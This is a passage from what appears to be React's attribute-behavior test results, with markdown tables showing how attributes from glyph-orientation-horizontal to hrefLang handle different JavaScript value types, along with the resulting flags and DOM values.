`<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `glyph-orientation-horizontal=(string)`| (changed, warning)| `\"a string\"` |\n| `glyph-orientation-horizontal=(empty string)`| (changed, warning)| `<empty string>` |\n| `glyph-orientation-horizontal=(array with string)`| (changed, warning)| `\"string\"` |\n| `glyph-orientation-horizontal=(empty array)`| (changed, warning)| `<empty string>` |\n| `glyph-orientation-horizontal=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `glyph-orientation-horizontal=(numeric string)`| (changed, warning)| `\"42\"` |\n| `glyph-orientation-horizontal=(-1)`| (changed, warning)| `\"-1\"` |\n| `glyph-orientation-horizontal=(0)`| (changed, warning)| `\"0\"` |\n| `glyph-orientation-horizontal=(integer)`| (changed, warning)| `\"1\"` |\n| `glyph-orientation-horizontal=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `glyph-orientation-horizontal=(float)`| (changed, warning)| `\"99.99\"` |\n| `glyph-orientation-horizontal=(true)`| (initial, warning)| `<null>` |\n| `glyph-orientation-horizontal=(false)`| (initial, warning)| `<null>` |\n| `glyph-orientation-horizontal=(string 'true')`| (changed, warning)| `\"true\"` |\n| `glyph-orientation-horizontal=(string 'false')`| (changed, warning)| `\"false\"` |\n| `glyph-orientation-horizontal=(string 'on')`| (changed, warning)| `\"on\"` |\n| `glyph-orientation-horizontal=(string 'off')`| (changed, warning)| `\"off\"` |\n| `glyph-orientation-horizontal=(symbol)`| (initial, warning)| `<null>` |\n| `glyph-orientation-horizontal=(function)`| (initial, warning)| `<null>` |\n| `glyph-orientation-horizontal=(null)`| (initial, warning)| `<null>` |\n| `glyph-orientation-horizontal=(undefined)`| (initial, warning)| `<null>` |\n\n## `glyph-orientation-vertical` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `glyph-orientation-vertical=(string)`| (changed, warning)| `\"a string\"` |\n| `glyph-orientation-vertical=(empty string)`| (changed, warning)| `<empty string>` |\n| `glyph-orientation-vertical=(array with string)`| (changed, warning)| `\"string\"` |\n| `glyph-orientation-vertical=(empty array)`| (changed, warning)| `<empty string>` |\n| `glyph-orientation-vertical=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `glyph-orientation-vertical=(numeric string)`| (changed, warning)| `\"42\"` |\n| `glyph-orientation-vertical=(-1)`| (changed, warning)| `\"-1\"` |\n| `glyph-orientation-vertical=(0)`| (changed, warning)| `\"0\"` |\n| `glyph-orientation-vertical=(integer)`| (changed, warning)| `\"1\"` |\n| `glyph-orientation-vertical=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `glyph-orientation-vertical=(float)`| (changed, warning)| `\"99.99\"` |\n| `glyph-orientation-vertical=(true)`| (initial, warning)| `<null>` |\n| `glyph-orientation-vertical=(false)`| (initial, warning)| `<null>` |\n| `glyph-orientation-vertical=(string 'true')`| (changed, warning)| `\"true\"` |\n| `glyph-orientation-vertical=(string 'false')`| (changed, warning)| `\"false\"` |\n| `glyph-orientation-vertical=(string 'on')`| (changed, warning)| `\"on\"` |\n| `glyph-orientation-vertical=(string 'off')`| (changed, warning)| `\"off\"` |\n| `glyph-orientation-vertical=(symbol)`| (initial, warning)| `<null>` |\n| `glyph-orientation-vertical=(function)`| (initial, warning)| `<null>` |\n| `glyph-orientation-vertical=(null)`| (initial, warning)| `<null>` |\n| `glyph-orientation-vertical=(undefined)`| (initial, warning)| `<null>` |\n\n## `glyphName` (on `<glyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `glyphName=(string)`| (changed)| `\"a string\"` |\n| `glyphName=(empty string)`| (changed)| `<empty string>` |\n| `glyphName=(array with string)`| (changed)| `\"string\"` |\n| `glyphName=(empty array)`| (changed)| `<empty string>` |\n| `glyphName=(object)`| (changed)| `\"result of toString()\"` |\n| `glyphName=(numeric string)`| (changed)| `\"42\"` |\n| `glyphName=(-1)`| (changed)| `\"-1\"` |\n| `glyphName=(0)`| (changed)| `\"0\"` |\n| `glyphName=(integer)`| (changed)| `\"1\"` |\n| `glyphName=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `glyphName=(float)`| (changed)| `\"99.99\"` |\n| `glyphName=(true)`| (initial, warning)| `<null>` |\n| `glyphName=(false)`| (initial, warning)| `<null>` |\n| `glyphName=(string 'true')`| (changed)| `\"true\"` |\n| `glyphName=(string 'false')`| (changed)| `\"false\"` |\n| `glyphName=(string 'on')`| (changed)| `\"on\"` |\n| `glyphName=(string 'off')`| (changed)| `\"off\"` |\n| `glyphName=(symbol)`| (initial, warning)| `<null>` |\n| `glyphName=(function)`| (initial, warning)| `<null>` |\n| `glyphName=(null)`| (initial)| `<null>` |\n| `glyphName=(undefined)`| (initial)| `<null>` |\n\n## `glyphOrientationHorizontal` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `glyphOrientationHorizontal=(string)`| (changed)| `\"a string\"` |\n| `glyphOrientationHorizontal=(empty string)`| (changed)| `<empty string>` |\n| `glyphOrientationHorizontal=(array with string)`| (changed)| `\"string\"` |\n| `glyphOrientationHorizontal=(empty array)`| (changed)| `<empty string>` |\n| `glyphOrientationHorizontal=(object)`| (changed)| `\"result of toString()\"` |\n| `glyphOrientationHorizontal=(numeric string)`| (changed)| `\"42\"` |\n| `glyphOrientationHorizontal=(-1)`| (changed)| `\"-1\"` |\n| `glyphOrientationHorizontal=(0)`| (changed)| `\"0\"` |\n| `glyphOrientationHorizontal=(integer)`| (changed)| `\"1\"` |\n| `glyphOrientationHorizontal=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `glyphOrientationHorizontal=(float)`| (changed)| `\"99.99\"` |\n| `glyphOrientationHorizontal=(true)`| (initial, warning)| `<null>` |\n| `glyphOrientationHorizontal=(false)`| (initial, warning)| `<null>` |\n| `glyphOrientationHorizontal=(string 'true')`| (changed)| `\"true\"` |\n| `glyphOrientationHorizontal=(string 'false')`| (changed)| `\"false\"` |\n| `glyphOrientationHorizontal=(string 'on')`| (changed)| `\"on\"` |\n| `glyphOrientationHorizontal=(string 'off')`| (changed)| `\"off\"` |\n| `glyphOrientationHorizontal=(symbol)`| (initial, warning)| `<null>` |\n| `glyphOrientationHorizontal=(function)`| (initial, warning)| `<null>` |\n| `glyphOrientationHorizontal=(null)`| (initial)| `<null>` |\n| `glyphOrientationHorizontal=(undefined)`| (initial)| `<null>` |\n\n## `glyphOrientationVertical` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `glyphOrientationVertical=(string)`| (changed)| `\"a string\"` |\n| `glyphOrientationVertical=(empty string)`| (changed)| `<empty string>` |\n| `glyphOrientationVertical=(array with string)`| (changed)| `\"string\"` |\n| `glyphOrientationVertical=(empty array)`| (changed)| `<empty string>` |\n| `glyphOrientationVertical=(object)`| (changed)| `\"result of toString()\"` |\n| `glyphOrientationVertical=(numeric string)`| (changed)| `\"42\"` |\n| `glyphOrientationVertical=(-1)`| (changed)| `\"-1\"` |\n| `glyphOrientationVertical=(0)`| (changed)| `\"0\"` |\n| `glyphOrientationVertical=(integer)`| (changed)| `\"1\"` |\n| `glyphOrientationVertical=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `glyphOrientationVertical=(float)`| (changed)| `\"99.99\"` |\n| `glyphOrientationVertical=(true)`| (initial, warning)| `<null>` |\n| `glyphOrientationVertical=(false)`| (initial, warning)| `<null>` |\n| `glyphOrientationVertical=(string 'true')`| (changed)| `\"true\"` |\n| `glyphOrientationVertical=(string 'false')`| (changed)| `\"false\"` |\n| `glyphOrientationVertical=(string 'on')`| (changed)| `\"on\"` |\n| `glyphOrientationVertical=(string 'off')`| (changed)| `\"off\"` |\n| `glyphOrientationVertical=(symbol)`| (initial, warning)| `<null>` |\n| `glyphOrientationVertical=(function)`| (initial, warning)| `<null>` |\n| `glyphOrientationVertical=(null)`| (initial)| `<null>` |\n| `glyphOrientationVertical=(undefined)`| (initial)| `<null>` |\n\n## `glyphRef` (on `<altGlyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `glyphRef=(string)`| (initial)| `<null>` |\n| `glyphRef=(empty string)`| (initial)| `<null>` |\n| `glyphRef=(array with string)`| (initial)| `<null>` |\n| `glyphRef=(empty array)`| (initial)| `<null>` |\n| `glyphRef=(object)`| (initial)| `<null>` |\n| `glyphRef=(numeric string)`| (initial)| `<null>` |\n| `glyphRef=(-1)`| (initial)| `<null>` |\n| `glyphRef=(0)`| (initial)| `<null>` |\n| `glyphRef=(integer)`| (initial)| `<null>` |\n| `glyphRef=(NaN)`| (initial, warning)| `<null>` |\n| `glyphRef=(float)`| (initial)| `<null>` |\n| `glyphRef=(true)`| (initial, warning)| `<null>` |\n| `glyphRef=(false)`| (initial, warning)| `<null>` |\n| `glyphRef=(string 'true')`| (initial)| `<null>` |\n| `glyphRef=(string 'false')`| (initial)| `<null>` |\n| `glyphRef=(string 'on')`| (initial)| `<null>` |\n| `glyphRef=(string 'off')`| (initial)| `<null>` |\n| `glyphRef=(symbol)`| (initial, warning)| `<null>` |\n| `glyphRef=(function)`| (initial, warning)| `<null>` |\n| `glyphRef=(null)`| (initial)| `<null>` |\n| `glyphRef=(undefined)`| (initial)| `<null>` |\n\n## `gradientTransform` (on `<linearGradient>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `gradientTransform=(string)`| (changed)| `[<SVGMatrix 1 0 0 1 -10 -20>/2/0, <SVGMatrix 2 0 0 2 0 0>/3/0, <SVGMatrix 0.7071067811865476 0.7071067811865475 -0.7071067811865475 0.7071067811865476 0 0>/4/45, <SVGMatrix 1 0 0 1 5 10>/2/0]` |\n| `gradientTransform=(empty string)`| (initial)| `[]` |\n| `gradientTransform=(array with string)`| (changed)| `[<SVGMatrix 1 0 0 1 -10 -20>/2/0, <SVGMatrix 2 0 0 2 0 0>/3/0, <SVGMatrix 0.7071067811865476 0.7071067811865475 -0.7071067811865475 0.7071067811865476 0 0>/4/45, <SVGMatrix 1 0 0 1 5 10>/2/0]` |\n| `gradientTransform=(empty array)`| (initial)| `[]` |\n| `gradientTransform=(object)`| (initial)| `[]` |\n| `gradientTransform=(numeric string)`| (initial)| `[]` |\n| `gradientTransform=(-1)`| (initial)| `[]` |\n| `gradientTransform=(0)`| (initial)| `[]` |\n| `gradientTransform=(integer)`| (initial)| `[]` |\n| `gradientTransform=(NaN)`| (initial, warning)| `[]` |\n| `gradientTransform=(float)`| (initial)| `[]` |\n| `gradientTransform=(true)`| (initial, warning)| `[]` |\n| `gradientTransform=(false)`| (initial, warning)| `[]` |\n| `gradientTransform=(string 'true')`| (initial)| `[]` |\n| `gradientTransform=(string 'false')`| (initial)| `[]` |\n| `gradientTransform=(string 'on')`| (initial)| `[]` |\n| `gradientTransform=(string 'off')`| (initial)| `[]` |\n| `gradientTransform=(symbol)`| (initial, warning)| `[]` |\n| `gradientTransform=(function)`| (initial, warning)| `[]` |\n| `gradientTransform=(null)`| (initial)| `[]` |\n| `gradientTransform=(undefined)`| (initial)| `[]` |\n\n## `gradientUnits` (on `<linearGradient>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `gradientUnits=(string)`| (changed)| `<number: 1>` |\n| `gradientUnits=(empty string)`| (initial)| `<number: 2>` |\n| `gradientUnits=(array with string)`| (changed)| `<number: 1>` |\n| `gradientUnits=(empty array)`| (initial)| `<number: 2>` |\n| `gradientUnits=(object)`| (initial)| `<number: 2>` |\n| `gradientUnits=(numeric string)`| (initial)| `<number: 2>` |\n| `gradientUnits=(-1)`| (initial)| `<number: 2>` |\n| `gradientUnits=(0)`| (initial)| `<number: 2>` |\n| `gradientUnits=(integer)`| (initial)| `<number: 2>` |\n| `gradientUnits=(NaN)`| (initial, warning)| `<number: 2>` |\n| `gradientUnits=(float)`| (initial)| `<number: 2>` |\n| `gradientUnits=(true)`| (initial, warning)| `<number: 2>` |\n| `gradientUnits=(false)`| (initial, warning)| `<number: 2>` |\n| `gradientUnits=(string 'true')`| (initial)| `<number: 2>` |\n| `gradientUnits=(string 'false')`| (initial)| `<number: 2>` |\n| `gradientUnits=(string 'on')`| (initial)| `<number: 2>` |\n| `gradientUnits=(string 'off')`| (initial)| `<number: 2>` |\n| `gradientUnits=(symbol)`| (initial, warning)| `<number: 2>` |\n| `gradientUnits=(function)`| (initial, warning)| `<number: 2>` |\n| `gradientUnits=(null)`| (initial)| `<number: 2>` |\n| `gradientUnits=(undefined)`| (initial)| `<number: 2>` |\n\n## `hanging` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `hanging=(string)`| (changed)| `\"a string\"` |\n| `hanging=(empty string)`| (changed)| `<empty string>` |\n| `hanging=(array with string)`| (changed)| `\"string\"` |\n| `hanging=(empty array)`| (changed)| `<empty string>` |\n| `hanging=(object)`| (changed)| `\"result of toString()\"` |\n| `hanging=(numeric string)`| (changed)| `\"42\"` |\n| `hanging=(-1)`| (changed)| `\"-1\"` |\n| `hanging=(0)`| (changed)| `\"0\"` |\n| `hanging=(integer)`| (changed)| `\"1\"` |\n| `hanging=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `hanging=(float)`| (changed)| `\"99.99\"` |\n| `hanging=(true)`| (initial, warning)| `<null>` |\n| `hanging=(false)`| (initial, warning)| `<null>` |\n| `hanging=(string 'true')`| (changed)| `\"true\"` |\n| `hanging=(string 'false')`| (changed)| `\"false\"` |\n| `hanging=(string 'on')`| (changed)| `\"on\"` |\n| `hanging=(string 'off')`| (changed)| `\"off\"` |\n| `hanging=(symbol)`| (initial, warning)| `<null>` |\n| `hanging=(function)`| (initial, warning)| `<null>` |\n| `hanging=(null)`| (initial)| `<null>` |\n| `hanging=(undefined)`| (initial)| `<null>` |\n\n## `headers` (on `<td>` inside `<tr>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `headers=(string)`| (changed, ssr error, ssr mismatch)| `\"a string\"` |\n| `headers=(empty string)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `headers=(array with string)`| (changed, ssr error, ssr mismatch)| `\"string\"` |\n| `headers=(empty array)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `headers=(object)`| (changed, ssr error, ssr mismatch)| `\"result of toString()\"` |\n| `headers=(numeric string)`| (changed, ssr error, ssr mismatch)| `\"42\"` |\n| `headers=(-1)`| (changed, ssr error, ssr mismatch)| `\"-1\"` |\n| `headers=(0)`| (changed, ssr error, ssr mismatch)| `\"0\"` |\n| `headers=(integer)`| (changed, ssr error, ssr mismatch)| `\"1\"` |\n| `headers=(NaN)`| (changed, warning, ssr error, ssr mismatch)| `\"NaN\"` |\n| `headers=(float)`| (changed, ssr error, ssr mismatch)| `\"99.99\"` |\n| `headers=(true)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `headers=(false)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `headers=(string 'true')`| (changed, ssr error, ssr mismatch)| `\"true\"` |\n| `headers=(string 'false')`| (changed, ssr error, ssr mismatch)| `\"false\"` |\n| `headers=(string 'on')`| (changed, ssr error, ssr mismatch)| `\"on\"` |\n| `headers=(string 'off')`| (changed, ssr error, ssr mismatch)| `\"off\"` |\n| `headers=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `headers=(function)`| (initial, warning, ssr error, ssr mismatch)| `<empty string>` |\n| `headers=(null)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n| `headers=(undefined)`| (initial, ssr error, ssr mismatch)| `<empty string>` |\n\n## `height` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `height=(string)`| (initial)| `<number: 0>` |\n| `height=(empty string)`| (initial)| `<number: 0>` |\n| `height=(array with string)`| (initial)| `<number: 0>` |\n| `height=(empty array)`| (initial)| `<number: 0>` |\n| `height=(object)`| (initial)| `<number: 0>` |\n| `height=(numeric string)`| (changed)| `<number: 42>` |\n| `height=(-1)`| (initial)| `<number: 0>` |\n| `height=(0)`| (initial)| `<number: 0>` |\n| `height=(integer)`| (changed)| `<number: 1>` |\n| `height=(NaN)`| (initial, warning)| `<number: 0>` |\n| `height=(float)`| (changed)| `<number: 99>` |\n| `height=(true)`| (initial, warning)| `<number: 0>` |\n| `height=(false)`| (initial, warning)| `<number: 0>` |\n| `height=(string 'true')`| (initial)| `<number: 0>` |\n| `height=(string 'false')`| (initial)| `<number: 0>` |\n| `height=(string 'on')`| (initial)| `<number: 0>` |\n| `height=(string 'off')`| (initial)| `<number: 0>` |\n| `height=(symbol)`| (initial, warning)| `<number: 0>` |\n| `height=(function)`| (initial, warning)| `<number: 0>` |\n| `height=(null)`| (initial)| `<number: 0>` |\n| `height=(undefined)`| (initial)| `<number: 0>` |\n\n## `height` (on `<rect>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `height=(string)`| (changed)| `<SVGLength: 100%>` |\n| `height=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `height=(array with string)`| (changed)| `<SVGLength: 100%>` |\n| `height=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `height=(object)`| (initial)| `<SVGLength: 0>` |\n| `height=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `height=(-1)`| (changed)| `<SVGLength: -1>` |\n| `height=(0)`| (initial)| `<SVGLength: 0>` |\n| `height=(integer)`| (changed)| `<SVGLength: 1>` |\n| `height=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `height=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `height=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `height=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `height=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `height=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `height=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `height=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `height=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `height=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `height=(null)`| (initial)| `<SVGLength: 0>` |\n| `height=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `hidden` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `hidden=(string)`| (changed)| `<boolean: true>` |\n| `hidden=(empty string)`| (initial)| `<boolean: false>` |\n| `hidden=(array with string)`| (changed)| `<boolean: true>` |\n| `hidden=(empty array)`| (changed)| `<boolean: true>` |\n| `hidden=(object)`| (changed)| `<boolean: true>` |\n| `hidden=(numeric string)`| (changed)| `<boolean: true>` |\n| `hidden=(-1)`| (changed)| `<boolean: true>` |\n| `hidden=(0)`| (initial)| `<boolean: false>` |\n| `hidden=(integer)`| (changed)| `<boolean: true>` |\n| `hidden=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `hidden=(float)`| (changed)| `<boolean: true>` |\n| `hidden=(true)`| (changed)| `<boolean: true>` |\n| `hidden=(false)`| (initial)| `<boolean: false>` |\n| `hidden=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `hidden=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `hidden=(string 'on')`| (changed)| `<boolean: true>` |\n| `hidden=(string 'off')`| (changed)| `<boolean: true>` |\n| `hidden=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `hidden=(function)`| (initial, warning)| `<boolean: false>` |\n| `hidden=(null)`| (initial)| `<boolean: false>` |\n| `hidden=(undefined)`| (initial)| `<boolean: false>` |\n\n## `high` (on `<meter>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `high=(string)`| (initial)| `<number: 1>` |\n| `high=(empty string)`| (initial)| `<number: 1>` |\n| `high=(array with string)`| (initial)| `<number: 1>` |\n| `high=(empty array)`| (initial)| `<number: 1>` |\n| `high=(object)`| (initial)| `<number: 1>` |\n| `high=(numeric string)`| (initial)| `<number: 1>` |\n| `high=(-1)`| (changed)| `<number: 0>` |\n| `high=(0)`| (changed)| `<number: 0>` |\n| `high=(integer)`| (initial)| `<number: 1>` |\n| `high=(NaN)`| (initial, warning)| `<number: 1>` |\n| `high=(float)`| (initial)| `<number: 1>` |\n| `high=(true)`| (initial, warning)| `<number: 1>` |\n| `high=(false)`| (initial, warning)| `<number: 1>` |\n| `high=(string 'true')`| (initial)| `<number: 1>` |\n| `high=(string 'false')`| (initial)| `<number: 1>` |\n| `high=(string 'on')`| (initial)| `<number: 1>` |\n| `high=(string 'off')`| (initial)| `<number: 1>` |\n| `high=(symbol)`| (initial, warning)| `<number: 1>` |\n| `high=(function)`| (initial, warning)| `<number: 1>` |\n| `high=(null)`| (initial)| `<number: 1>` |\n| `high=(undefined)`| (initial)| `<number: 1>` |\n\n## `horiz-adv-x` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `horiz-adv-x=(string)`| (changed, warning)| `\"a string\"` |\n| `horiz-adv-x=(empty string)`| (changed, warning)| `<empty string>` |\n| `horiz-adv-x=(array with string)`| (changed, warning)| `\"string\"` |\n| `horiz-adv-x=(empty array)`| (changed, warning)| `<empty string>` |\n| `horiz-adv-x=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `horiz-adv-x=(numeric string)`| (changed, warning)| `\"42\"` |\n| `horiz-adv-x=(-1)`| (changed, warning)| `\"-1\"` |\n| `horiz-adv-x=(0)`| (changed, warning)| `\"0\"` |\n| `horiz-adv-x=(integer)`| (changed, warning)| `\"1\"` |\n| `horiz-adv-x=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `horiz-adv-x=(float)`| (changed, warning)| `\"99.99\"` |\n| `horiz-adv-x=(true)`| (initial, warning)| `<null>` |\n| `horiz-adv-x=(false)`| (initial, warning)| `<null>` |\n| `horiz-adv-x=(string 'true')`| (changed, warning)| `\"true\"` |\n| `horiz-adv-x=(string 'false')`| (changed, warning)| `\"false\"` |\n| `horiz-adv-x=(string 'on')`| (changed, warning)| `\"on\"` |\n| `horiz-adv-x=(string 'off')`| (changed, warning)| `\"off\"` |\n| `horiz-adv-x=(symbol)`| (initial, warning)| `<null>` |\n| `horiz-adv-x=(function)`| (initial, warning)| `<null>` |\n| `horiz-adv-x=(null)`| (initial, warning)| `<null>` |\n| `horiz-adv-x=(undefined)`| (initial, warning)| `<null>` |\n\n## `horiz-origin-x` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `horiz-origin-x=(string)`| (changed, warning)| `\"a string\"` |\n| `horiz-origin-x=(empty string)`| (changed, warning)| `<empty string>` |\n| `horiz-origin-x=(array with string)`| (changed, warning)| `\"string\"` |\n| `horiz-origin-x=(empty array)`| (changed, warning)| `<empty string>` |\n| `horiz-origin-x=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `horiz-origin-x=(numeric string)`| (changed, warning)| `\"42\"` |\n| `horiz-origin-x=(-1)`| (changed, warning)| `\"-1\"` |\n| `horiz-origin-x=(0)`| (changed, warning)| `\"0\"` |\n| `horiz-origin-x=(integer)`| (changed, warning)| `\"1\"` |\n| `horiz-origin-x=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `horiz-origin-x=(float)`| (changed, warning)| `\"99.99\"` |\n| `horiz-origin-x=(true)`| (initial, warning)| `<null>` |\n| `horiz-origin-x=(false)`| (initial, warning)| `<null>` |\n| `horiz-origin-x=(string 'true')`| (changed, warning)| `\"true\"` |\n| `horiz-origin-x=(string 'false')`| (changed, warning)| `\"false\"` |\n| `horiz-origin-x=(string 'on')`| (changed, warning)| `\"on\"` |\n| `horiz-origin-x=(string 'off')`| (changed, warning)| `\"off\"` |\n| `horiz-origin-x=(symbol)`| (initial, warning)| `<null>` |\n| `horiz-origin-x=(function)`| (initial, warning)| `<null>` |\n| `horiz-origin-x=(null)`| (initial, warning)| `<null>` |\n| `horiz-origin-x=(undefined)`| (initial, warning)| `<null>` |\n\n## `horizAdvX` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `horizAdvX=(string)`| (changed)| `\"a string\"` |\n| `horizAdvX=(empty string)`| (changed)| `<empty string>` |\n| `horizAdvX=(array with string)`| (changed)| `\"string\"` |\n| `horizAdvX=(empty array)`| (changed)| `<empty string>` |\n| `horizAdvX=(object)`| (changed)| `\"result of toString()\"` |\n| `horizAdvX=(numeric string)`| (changed)| `\"42\"` |\n| `horizAdvX=(-1)`| (changed)| `\"-1\"` |\n| `horizAdvX=(0)`| (changed)| `\"0\"` |\n| `horizAdvX=(integer)`| (changed)| `\"1\"` |\n| `horizAdvX=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `horizAdvX=(float)`| (changed)| `\"99.99\"` |\n| `horizAdvX=(true)`| (initial, warning)| `<null>` |\n| `horizAdvX=(false)`| (initial, warning)| `<null>` |\n| `horizAdvX=(string 'true')`| (changed)| `\"true\"` |\n| `horizAdvX=(string 'false')`| (changed)| `\"false\"` |\n| `horizAdvX=(string 'on')`| (changed)| `\"on\"` |\n| `horizAdvX=(string 'off')`| (changed)| `\"off\"` |\n| `horizAdvX=(symbol)`| (initial, warning)| `<null>` |\n| `horizAdvX=(function)`| (initial, warning)| `<null>` |\n| `horizAdvX=(null)`| (initial)| `<null>` |\n| `horizAdvX=(undefined)`| (initial)| `<null>` |\n\n## `horizOriginX` (on `<font>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `horizOriginX=(string)`| (changed)| `\"a string\"` |\n| `horizOriginX=(empty string)`| (changed)| `<empty string>` |\n| `horizOriginX=(array with string)`| (changed)| `\"string\"` |\n| `horizOriginX=(empty array)`| (changed)| `<empty string>` |\n| `horizOriginX=(object)`| (changed)| `\"result of toString()\"` |\n| `horizOriginX=(numeric string)`| (changed)| `\"42\"` |\n| `horizOriginX=(-1)`| (changed)| `\"-1\"` |\n| `horizOriginX=(0)`| (changed)| `\"0\"` |\n| `horizOriginX=(integer)`| (changed)| `\"1\"` |\n| `horizOriginX=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `horizOriginX=(float)`| (changed)| `\"99.99\"` |\n| `horizOriginX=(true)`| (initial, warning)| `<null>` |\n| `horizOriginX=(false)`| (initial, warning)| `<null>` |\n| `horizOriginX=(string 'true')`| (changed)| `\"true\"` |\n| `horizOriginX=(string 'false')`| (changed)| `\"false\"` |\n| `horizOriginX=(string 'on')`| (changed)| `\"on\"` |\n| `horizOriginX=(string 'off')`| (changed)| `\"off\"` |\n| `horizOriginX=(symbol)`| (initial, warning)| `<null>` |\n| `horizOriginX=(function)`| (initial, warning)| `<null>` |\n| `horizOriginX=(null)`| (initial)| `<null>` |\n| `horizOriginX=(undefined)`| (initial)| `<null>` |\n\n## `href` (on `<a>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `href=(string)`| (changed)| `\"https://reactjs.com/\"` |\n| `href=(empty string)`| (changed)| `\"http://localhost:3000/\"` |\n| `href=(array with string)`| (changed)| `\"https://reactjs.com/\"` |\n| `href=(empty array)`| (changed)| `\"http://localhost:3000/\"` |\n| `href=(object)`| (changed)| `\"http://localhost:3000/result%20of%20toString()\"` |\n| `href=(numeric string)`| (changed)| `\"http://localhost:3000/42\"` |\n| `href=(-1)`| (changed)| `\"http://localhost:3000/-1\"` |\n| `href=(0)`| (changed)| `\"http://localhost:3000/0\"` |\n| `href=(integer)`| (changed)| `\"http://localhost:3000/1\"` |\n| `href=(NaN)`| (changed, warning)| `\"http://localhost:3000/NaN\"` |\n| `href=(float)`| (changed)| `\"http://localhost:3000/99.99\"` |\n| `href=(true)`| (initial, warning)| `<empty string>` |\n| `href=(false)`| (initial, warning)| `<empty string>` |\n| `href=(string 'true')`| (changed)| `\"http://localhost:3000/true\"` |\n| `href=(string 'false')`| (changed)| `\"http://localhost:3000/false\"` |\n| `href=(string 'on')`| (changed)| `\"http://localhost:3000/on\"` |\n| `href=(string 'off')`| (changed)| `\"http://localhost:3000/off\"` |\n| `href=(symbol)`| (initial, warning)| `<empty string>` |\n| `href=(function)`| (initial, warning)| `<empty string>` |\n| `href=(null)`| (initial)| `<empty string>` |\n| `href=(undefined)`| (initial)| `<empty string>` |\n\n## `hrefLang` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `hrefLang=(string)`| (changed)| `\"a string\"` |\n| `hrefLang=(empty string)`| (changed)| `<empty string>` |\n| `hrefLang=(array with string)`| (changed)| `\"string\"` |\n| `hrefLang=(empty array)`| (changed)| `<empty string>` |\n| `hrefLang=(object)`| (changed)| `\"result of toString()\"` |\n| `hrefLang=(numeric string)`| (changed)| `\"42\"` |\n| `hrefLang=(-1)`| (changed)| `\"-1\"` |\n| `hrefLang=(0)`| (changed)| `\"0\"` |\n| `hrefLang=(integer)`| (changed)| `\"1\"` |\n| `hrefLang=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `hrefLang=(float)`| (changed)| `\"99.99\"` |\n| `hrefLang=(true)`| (initial, warning)| `<null>` |\n| `hrefLang=(false)`| (initial, warning)| `<null>` |\n| `hrefLang=(string 'true')`| (changed)| `\"true\"` |\n| `hrefLang=(string 'false')`| (changed)| `\"false\"` |\n| `hrefLang=(string 'on')`| (changed)| `\"on\"` |\n| `hrefLang=(string 'off')`| (changed)| `\"off\"` |\n| `hrefLang=(symbol)`| (initial, warning)| `<null>` |\n| `hrefLang=(function)`| (initial, warning)| `<null>` |\n| `hrefLang=(null)`| (initial)| `<null>` |\n| `hrefLang=(undefined)`| (initial)| `<null>` |\n\n## `htmlFor` (on `<label>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | 